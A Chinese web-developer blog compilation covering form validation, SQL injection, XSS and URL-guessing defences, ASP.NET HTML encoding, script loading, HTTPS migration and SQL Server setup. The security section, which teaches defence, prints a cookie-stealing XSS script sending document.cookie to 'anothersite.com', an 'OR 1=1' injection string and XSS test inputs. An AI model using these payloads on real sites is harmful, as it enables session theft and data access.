博客 (103)

示例：

<form action="javascript:fn_submit()">
  <div>
    手机号码：
    <input type="tel" required="required" pattern="1\d{10}" title="手机号码由以1开头的11位数字组成" />
  </div>
  <div>
    身份证号码：
    <input type="text" required="required" pattern="\d{17}[\dX]" title="身份证号码由18位数字或17位数字加字母X组成" />
  </div>
  <div>
    <input type="submit" value="提交" />
  </div>
</form>

<script>
  function fn_submit() {
    alert('执行了方法“fn_submit()”，可以使用 ajax 提交数据');
  }
</script>

form 的 action 使用 javascript 调用 fn_submit 方法，在这个方法内可以使用 jQuery 的 ajax 来 POST 数据，当然还可以搭配使用 HTML5 的 FormData。这样相比于直接在 submit 按钮上写事件的好处是可以用到 HTML5 的表单验证功能，并且不会重载页面。

Vue 版本：

<form v-on:submit="fn_submit" method="dialog">
</form>

var app = new Vue({
    el: '#app',
    methods: {
        fn_submit: function () {
            alert('执行了方法“fn_submit()”，可以使用 ajax 提交数据');
        }
    }
});

互联网项目里边，SQL 注入漏洞、XSS 漏洞和猜测 URL 攻击这三个漏洞可谓历史悠久，然而直到今天还有人不断中枪，也真是微醺。

这几个漏洞说大也大，说小也小。说大是说这些漏洞危害大，会导致数据层面的安全问题；说小是从技术层面上讲都是未对外部输入做处理导致的，想要做针对性地防范很简单。下面简单看看这些漏洞的原因及防范方法。

SQL 注入

SQL 注入之所以存在，主要是因为工程师将外部的输入直接嵌入到将要执行的 SQL 语句中了。黑客可以利用这一点执行 SQL 指令来达到自己目的。举例来说，有一个接受参数为 id 的页面，在接收到id后从数据库中查询相应的数据， 其代码大致如下：

string  SQL = "SELECT * FROM [User] WHERE ID=" + Request["ID"];

正常情况下，Request["ID"] 为数字，这条 SQL 能很好地工作。如果我们认为修改 Request["ID"]，将其内容修改为 ID=1 OR 1=1 我们将得到这样一条 SQL：

SELECT * FROM [User] WHERE ID=1 OR 1=1

因为有 OR 的出现这条 SQL 语句已经可以获取 User 表中的任意信息。利用 SQL 注入漏洞，我们能够获取想要的信息，同时可以通过猜测-报错获取到数据库其它表的结构和信息，如果数据库、服务器权限设置不当，甚至有可能能获取到整个服务器的控制权限。

规避这种漏洞有很多种办法，以现代的编程语言来说，选择一个合适的 ORM 框架可以减少不少问题而且能大大提高开发效率。

如果因为某些原因需要继续写 SQL 语句，参数化查询也能解决这一问题。

对于需要拼接 SQL 语句的程序来说，注意两点也可以避免此问题。第一点是如果查询的字段类型是数字等类型，在拼接 SQL 前先判断输入是不是一个合法的数字，不合法则终止程序即可。第二点是如果字段类型是字符串，则记得将输入里的单引号进行转义。

XSS 攻击

如果说 SQL 注入是直接在 SQL 里执行了用户输入，那 XSS 攻击是在 HTML 里代码执行了用户输入。相对 SQL 注入，XSS 似乎更能引起人关注。几年前新浪微博被人利用 XSS 获取大量粉丝；3DM 也曾经被植入 script 代码对另一个游戏网站进行了惨无人道的 DDOS 攻击。

这里还是用 SQL 注入中的例子来说，假设页面输出为：

<div><%= Request["ID"] %></div>

这里我们可以在 Request["ID"] 里传入一段编码后的脚本，在最终输出的时候，就变成了一段可执行的 javascript 代码。

<script>window.location.href='anothersite.com?cookie=' + document.cookie;</script>

这段代码获取到当前页面的 cookie 值，并将 cookie 值传递到另一个名为 anothersite.com 的网站。利用这种模式，黑客可以获取到用户的登录信息或者将用户跳转到钓鱼网站来达成自己的目的。

XSS 攻击也可以简单分为两种，一种是上述例子中利用 url 引诱客户点击来实现；另一种是通过存储到数据库，在其它用户获取相关信息时来执行脚本。

防范 XSS 攻击需要在所有的字段都对输入的字符串进行 html encode（或者在输出时进行 encode）。如果需要使用富文本编辑的，可以考虑使用 UBB。

猜测 URL 攻击

猜测 URL 攻击是通过已知的 GET、POST 参数来猜测未公开的参数并尝试进行攻击。

以 Request["ID"] 为例，如果 ID 为 1 是合法的可访问的数据，可以通过尝试 ID=2，ID=3 等一系列来尝试是否对其它资源有访问、修改权限。如果控制不当，则可以轻松获得并修改数据。

要避免这种问题，方案一是使用较长的无规律的数字、字符来做为 ID，增大猜测难度；对于需要登录的程序，可以判断用户身份是否有对应 ID 数据的访问、修改权限；如果 ID 已经是自增类型且不需要登录，可以用过在 URL 里增加无规律的校验字段来避免。

其它需要注意的地方

安全是一个系统工程。

要提高系统安全性，最首要的一点是不要相信任何输入！不要相信任何输入！不要相信任何输入！重要的事情说三遍。这里的输入除了 URL 里的 GET 参数、POST 参数，还包括 COOKIE、Header 等可以进行修改的各类信息。

在程序设置方面，不输出客户不需要知道的各类信息，如原始的异常信息、异常附近的代码段等等，这样也能增加不少安全性。

最后，在测试或系统运行的过程中，可以使用类似 appscan 这样的安全检测工具来检查程序是否有漏洞。

XSS （跨站脚本攻击）虽然手段初级，但网站开发者稍不留神就会给黑客留下机会。在 ASP.NET 中，默认阻止了表单文本中的危险字符（譬如 HTML 标签），但有时为了功能需求，我们需要在服务端获取用户输入的任何文本或者富文本编辑器的内容，那么首先应该使用 JS 将数据进行 HTML 编码。

将以下测试文本填入到多行文本框内：

&a=1
'">ABC<'"
</pre>PRE<pre>
</textarea>AREA<textarea>
<script>alert(1)</script>

或将以下测试文本填入到单行文本框内：

&a=1'">a< /input>b<input value='"c<script>alert(1)</script>

使用 jQuery 异步 POST 方式提交到服务端：

$.post("post.aspx", {
  myData: $("#myTextarea").val()
}, function (data) {
  console.log(data);
}, 'text');

这时，post.aspx 将返回 500 内部服务器错误：

从客户端(......)中检测到有潜在危险的 Request.Form 值。

将提交代码稍作改动，把 POST 数据进行 HTML 编码：

$.post("post.aspx", {
  myData: $('<div />').text($("#myTextarea").val()).html()
}, function (data) {
  console.log(data);
}, 'text');

这样，服务端接收到的 myData 值应该是：

&a=1
'">ABC<'"
</pre>PRE<pre>
</textarea>AREA<textarea>
<script>alert(1)</script>

顺利通过 ValidateRequest 的检验。

我们在服务端对其进行一次 HTML 解码。

string myData = HttpUtility.HtmlDecode(Request.Form["myData"]);
// 接收时，去首尾空格、去 null
string myData = HttpUtility.HtmlDecode(Request.Form["myData"]?.Trim() ?? "");

客户端的编码和服务端的解码是一对互操作。

我们把用户输入的原始内容存入数据库中。

页面输出时，必须要经过 HTML 编码，否则内容将被解释成 HTML，出现跨站攻击漏洞。下面列出常见的输出到页面的方法（注意区分 <%= 与 <%:，<%# 与 <%#:）。这样，浏览器中查看源代码看到的即是 HTML 编码的内容，渲染后看到的即是原本在输入框中输入的原文。

// WebForm 输出到 div
<div><%: myData %></div>

// WebForm 输出到 pre
<pre><%: myData %></pre>

// WebForm 输出到文本脚本
<script type="text/plain"><%: myData %></script>

// WebForm 输出到单行文本框
<input type="text" value='<%: myData %>' />

// WebForm 输出到多行文本框
<textarea><%: myData %></textarea>

// WebForm 赋值到 <asp:TextBox /> （不需要手动 HtmlEncode）
input_myData.Text = myData;

// WebForm 绑定到数据控件
<%#: Eval("myData") %>

// MVC Razor
@Html.DisplayFor(model => model.myData)
// 或
@Model.myData

<%: 会自动替换 " 和 ' 为 " 和 '，不用担心输出到 <input /> 的 value 属性中会产生问题。

如果数据由 <textarea /> 提供并希望在输出时保持换行，那么先执行 HtmlEncode，再替换换行符：

// WebForm 输出到 div
<div><%= HttpUtility.HtmlEncode(myData)?.Replace(" ", "&nbsp;").Replace("\r\n", "<br />").Replace("\r", "<br />").Replace("\n", "<br />") %></div>

// WebForm 输出到 pre（无须处理换行）
<pre><%: myData %></pre>

// WebForm 绑定到数据控件
<%# HttpUtility.HtmlEncode(Eval("myData"))?.Replace(" ", "&nbsp;").Replace("\r\n", "<br />").Replace("\r", "<br />").Replace("\n", "<br />") %>

更特殊的例子：

// WebForm 输出到 Highcharts
var chart = Highcharts.chart('container', {
  title: {
    text: $('<div />').html('《<%: exam.title.Replace("\r", "").Replace("\n", "") %>》问卷回收量').html()
  },
  ...
});

// 导出 Excel 时指定文件名（会自动替换非法字符）
Response.AddHeader("Content-Disposition", string.Format("attachment; filename={0}.xls", exam.title));

如果我们使用在线编辑器来编辑我们的内容，需要在浏览输出时实现“所见即所得”，那么就需要将原文输出到源代码，渲染后展示效果：

// ASPX
<%= myData %>

// Razor
@Html.Raw(Model.myData)

务必保证是网站编辑人员在授权登录下提交在线编辑器的内容，否则可能成为跨站攻击的漏洞。通常不建议普通网友使用在线编辑器，如一定要用，必须处理一些危险的标签，参此文。

总结

客户端输入的原文，经过 JS 的 HTML 编码传输到服务器，HTML 解码后存入数据库，读取展示时 HTML 编码输出（在线编辑器的内容不需要编码）。

建议

如果我们对所有输入的字符串作以上编码解码的处理想必是非常繁琐且容易出错的。微软提供了 ValidateRequest，不用不是太浪费了？

对于普通的文本框输入，我们省略 JS 端的 HTML 编码，省略服务端的 HTML 解码即可，输出仍然按文中描述处理。

好的用户体验是在 Request.Form["xxx"] 时进行容错处理并返回客户端友好提示。

我们仅针对在线编码器及需要以代码为内容的数据提交进行编码、解码处理，以绕过 ValidateRequest。

顺便提一下，千万不要这样写：

<%= Request.QueryString["xxx"] %>

千万不要动态拼接 SQL 语句，防止 SQL 注入。

兼容建议：（2017年初）

连淘宝都放弃 IE6 了，就不需要再坚持了；

IE7 跟错了老大（Vista），已经没有市场了；

当前市场份额最大的操作系统还是 Win7，所以 IE8 是必须要兼容的，就算国人都安装了国产浏览器，内核也未必会升到 IE9-11。

当然每个站的访客群体不同，具体还得参考网站统计数据来确定兼容级别。

为了友好，建议你在不打算兼容的浏览器上提供升级提示和新版下载链接。

如果是纯移动端，那么大胆地用 HTML5 就行了。

以下例举我遇到过的兼容问题：

最近要做个简单的类似 CNZZ 和百度统计的统计器，不可避免地遇到 JS 文件异步加载 和 给 JS 文件传参 的问题。

参考了 CNZZ 的代码以后，在 Chrome 的控制台发现以下警告：

A Parser-blocking, cross-origin script, http://s4.cnzz.com/stat.php?***, is invoked via document.write. This may be blocked by the browser if the device has poor network connectivity. See https://www.chromestatus.com/feature/5718547946799104 for more details.

Paul Kinlan 给出了解释，是因为使用了 document.write() 的方式输出了 <script src="***" /> HTML DOM，建议改成 document.appendChild() 或 parentNode.insertBefore()，最好的例子就是 Google Analytics。

<!-- Google Analytics -->
<script>(function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){
(i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),
m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)
})(window,document,'script','https://www.google-analytics.com/analytics.js','ga');
ga('create', 'UA-XXXXX-Y', 'auto');
ga('send', 'pageview');
</script>
<!-- End Google Analytics -->

上述 JavaScript 跟踪代码段可以确保该脚本在所有浏览器中加载和异步执行。

加了一些注释，便于理解，官方英文版。

(function (i, s, o, g, r, a, m) {
  i['GoogleAnalyticsObject'] = r;
  // console.log(window['GoogleAnalyticsObject']) // 'ga'
  // console.log(i[r]) // undefined
  i[r] = i[r] || function () { // i[r] 就是 window['ga']，定义了一个函数
    (i[r].q = i[r].q || []).push(arguments) // 往 ga.q 这个数组中增加一项
  },
  i[r].l = 1 * new Date(); // 时间戳，写法等同于 new Date().getTime()
  // console.log(i[r]) // window['ga'] 就是上面那个 function
  a = s.createElement(o), // 创建一个 script 元素
  m = s.getElementsByTagName(o)[0]; // 文档中的第一个脚本（文档中肯定至少已有一个脚本了）
  a.async = 1; // 异步加载
  a.defer = 1; // 兼容旧浏览器（我自己加的）
  a.src = g;
  m.parentNode.insertBefore(a, m) // 将 a 脚本插入到 m 脚本之前
})(window, document, 'script', 'http://***/***.js', 'ga');
// i s o g r
ga('create', 'UA-XXXXX-Y', 'auto');
ga('send', 'pageview');

过程是：

创建了一个 <script> 元素，并异步加载 http://***/***.js；初始化了一个全局函数 ga；在 ga() 命令队列中添加了两条命令。

现在我们可以在这个外部 js 中使用 ga.q 这个对象中的数据了，示例：

;(function () {
  console.log(ga.q);
})(window);

简单补充下，async 是 HTML5 属性，使支持异步加载 JS 文件；defer 只支持 IE，作用类似。

测试异步只需要将 js 文件换成服务端页面，并人为设置 sleep 时间即可，阻塞式调用的话会在加载 js 时暂停后续页面的渲染。

收录了一些个人觉得不错的网页开发插件。

由于插件更新频繁，本页如有错误请指正，也欢迎告知更多功能强大、使用方便的插件。

各位站长好：

根据苹果相关通知，从2017年1月1日起，所有上架AppStore的应用必须支持https协议。

仍然采用HTTP传输的站点APP，将无法在AppStore被用户下载使用，也无法进行升级更新等工作。

官方视频

https://developer.apple.com/videos/play/wwdc2016/706/

相关新闻

http://www.chinaz.com/news/2016/1028/602635.shtml

根据AppStore审核要求，站长需要在2017年1月1日之前，在APP服务器全面部署https。

尽管不升级支持https后果严重，但诸位也不必太过担心，马甲根据要求为各位提供一份服务器升级https的技术文档，供您参考。

https的优点：

1. 相对于http，https可以确保数据在网络传输过程中不被篡改(如禁止运营商插入广告)，同时可以提升网站的安全性。

2.  iOS可以实现微信内部浏览器直接启动并打开App对应页面。

APP网站升级https步骤：

1. 为APP域名申请购买SSL证书（可选免费型）；

2.  将SSL证书部署到APP站点。

https证书申请方法：

1. 进入阿里云（独立服务器客户可注册一个阿里云账号，无须购买阿里云主机）https证书申请页面 https://www.aliyun.com/product/security/markets/aliyun/product/cas

2. 购买https证书，选择免费类型，点击购买（无需实际付款)

3. 购买完成后，进入控制台-CA证书服务页面，找到证书订单，点击“补全”

4. 填写证书对应的域名信息，免费证书只能用于一个域名(请填写完整域名例如：test.magapp.cc 而不是 magapp.cc)

5. 继续补全证书信息，注意域名验证类型选择DNS，邮箱填写自己常用邮箱即可，稍后系统会往邮箱发送域名解析信息。

6. 下一步生成证书请求文件(CSR)，这里建议选择“系统生成CSR”，点击右侧创建，创建完成后，点击提交审核，开始申请https证书。

7. 稍后系统会向邮箱发送一份该邮件，邮件包含需要在域名管理后台解析的信息。

8. 到域名管理后台添加新的域名解析，注意解析类型为CNAME

9. 添加新域名解析完成后，系统会对您的申请进行审核（审核时间在几分钟到几个小时不确定），如果审核成功系统会为你签发https证书，失败也会有相关原因说明，如果失败可根据提示重新申请。

10. https证书申请成功后，下一步就可以下载并部署到APP服务器。

11. 点击下载后，可以根据阿里云提供的部署文档，进行相关的服务器部署工作。

12. 部署完成后，验证是否部署成功

第一步：使用https协议访问域名是否能正常访问，例如 https://test.magapp.cc

第二步：在线检测域名是否满足苹果审核要求，网址为：https://www.qcloud.com/product/ssl.html#userDefined10

填写自己申请https的域名

如果域名检测各项满足会显示如下图所示

部署注意事项：

1. https使用的是443端口而不是默认的80端口，需要在wdcp安全管理-iptables开启443端口。

2. https免费证书有效期为一年，请各位站长作好记录，提前重新申请。

3. 站点从http转到https完全过渡需要一段时间，建议在部署时站点同时支持http和https。

4. 部署过程遇到任何问题，可联系您的专属运维人员。

                                                            MAGAPP技术部

IIS 中如果直接“停止”网站，那么打开页面时会显示不友好的“该页无法显示”等界面，如果特殊原因要求不能打开所有页面，但必须有一个友好提示“网站维护中”的页面，那么最土的办法是把网站的所有文件移出来，仅上传一个提示正在维护的网页，并保证是默认首页。其实有一个更加简单有效的解决方案：

在 IIS 中单击该网站，打开“URL 重写”，右侧“添加规则”，选择“空白规则”。名称可以是“网站维护中”，请求的 URL 选择“与模式不匹配”，使用“完全匹配”，模式填入我们的提示页面地址，如“maintaining.html”，操作类型“重定向”，重定向 URL 填入刚才那个页面地址，附加查询字符串不需要，类型选择“临时(307)”，点击右侧“应用”。

好了，该网站的任何请求都会引导到 maintaining.html，而不仅仅是首页的跳转。而且不需要移动网站文件，也保障了不会被人利用网站漏洞攻击篡改网站内容。

补充一点，如果你的 maintaining.html 中调用了网站中的图片、脚本、样式表等，那么需要把模式匹配的方式改为“正则表达式”，并填入正确的正则表达式，以保证这些文件都能被正常请求。

最理想的部署方式是 ClickOnce，但是证书问题会导致安装时提示：

Windows 已保护你的电脑

Windows SmartScreen 筛选器已阻止启动一个未识别的应用。运行此应用可能会导致你的电脑存在安全风险。

这需要一个从 CA 获取的数字证书（http://www.doc88.com/p-785388554071.html）

百科：                                 http://baike.baidu.com/view/1390498.htm

ClickOnce 部署教程：            http://www.cnblogs.com/weixing/p/3358740.html

Makecert.exe（证书创建工具）： https://msdn.microsoft.com/zh-cn/library/bfsktky3.aspx

如何：为 ClickOnce 应用程序向客户端计算机添加一个受信任的发行者：https://msdn.microsoft.com/zh-cn/library/ms172241.aspx

执行命令：makecert -r -n "CN=嗨秒网" -sv himiao.pvk himiao.cer

Password: LRQelk0l****************FTtJvufI

-r                创建自我签名证书。

-n  name         指定主题的证书名称。 此名称必须符合 X.500 标准。 最简单的方法是在双引号中指定此名称，并加上前缀 CN=；例如，-n "CN=myName"。

-sv  pvkFile     指定主题的 .pvk 私钥文件。 如果该文件不存在，系统将创建一个。

执行命令：Cert2spc himiao.cer himiao.spc

执行命令：pvk2pfx -pvk himiao.pvk -spc himiao.spc -pfx himiao.pfx -pi LRQelk0l****************FTtJvufI –po LRQelk0l****************FTtJvufI –f

《SQL Server 2012 数据库服务搭建流程》

安装 .net 3.5 并重启！

知识一、安装，选 64 位版本，安装功能：
    实例：数据库引擎服务及子项全选，其它暂时用不到
    共享：管理工具-完整
知识NN、若实例安装到其它磁盘，确保目录有“NETWORK SERVICE”权限！！！
知识二、卸载，参：http://technet.microsoft.com/zh-cn/library/hh231731.aspx
    必须严格按照说明卸载，否则会出现卸载不干净，重装装不上的问题。
    若不幸遇上 0x851A001A，参：http://social.msdn.microsoft.com/Forums/zh-CN/8f4d5cf8-4ab8-4a37-81df-7c294f994515/sql-server-2012-install-error-851a001a
    用户名好像是：NT Service\MSSQLSERVER
知识三、18456错误：
    服务器身份验证：SQL Server 和 Windows 身份验证模式
    具体设置在：SSMS - Windows 身份验证模式 登录后 - 对象资源管理器 - 选中当前服务器 - 右键属性 - 安全性
    SQL Server 配置管理器 - SQL Server 服务 - 重启
知识四、修改端口：
    SQL Server 配置管理器 - SQL Server 网络配置 - 相应实例的协议 - TCP/IP - IP 地址 - 将所有1433改掉
    SQL Server 配置管理器 - SQL Server 服务 - 重启
知识五、sa - 登录 - 禁用
知识六、维护计划：
    开启 SQL Server 代理，并在服务里设置自动(延时)
    SSMS - 当前服务器 - 管理 - 维护计划 - 右键 维护计划向导 每天4:03:02
    工具箱-拖入：收缩数据库-重新组织索引-重新生成索引-更新统计信息-清除历史记录-备份数据库（完整）-“清除维护”任务

    编辑每项任务，在“所有用户数据库”中勾选“忽略未处理联机状态的数据库”，这是关键，如果不勾选，一旦某个数据库被设置为脱机，备份就会出错。

    在新建的维护计划上右键，执行，完成以后，右键“查看历史记录”，如有错误作相应修改
    完整备份+差异备份方式：http://www.cnblogs.com/zhangq723/archive/2012/03/13/2394102.html 从“下面我来讲一下”开始做

需要开放远程连接的，在防火墙设置允许通过的程序，如：
D:\Program Files\Microsoft SQL Server\MSSQL12.MSSQLSERVER\MSSQL\Binn\sqlservr.exe

创建或还原数据库

一、（还原时）改：
    常规 - 目标 - 数据库(B)
    文件 - 表格“还原为”列 - 改文件名如：dbTest.mdf / dbTest_log.ldf
二、（还原时）dbTest - 安全性 -  用户 - 删除原用户，默认那些用户不要删
三、（还原后）属性 - 文件 - 数据库文件 - 逻辑名称，初始大小全是0
    如不需要日志，则：属性 - 选项 - 恢复模式 - 简单
四、安全性 - 登录名 - 新建登录名：
    常规 - 填写登录名 - SQL Server 身份验证 - 取消“强制实施密码策略” - 默认数据库
    用户映射 - 映射对应数据库 - 勾：db_owner / public （若只读则勾：db_datareader / public）
    用户映射确定后再检查一次，第一次有可能未设置成功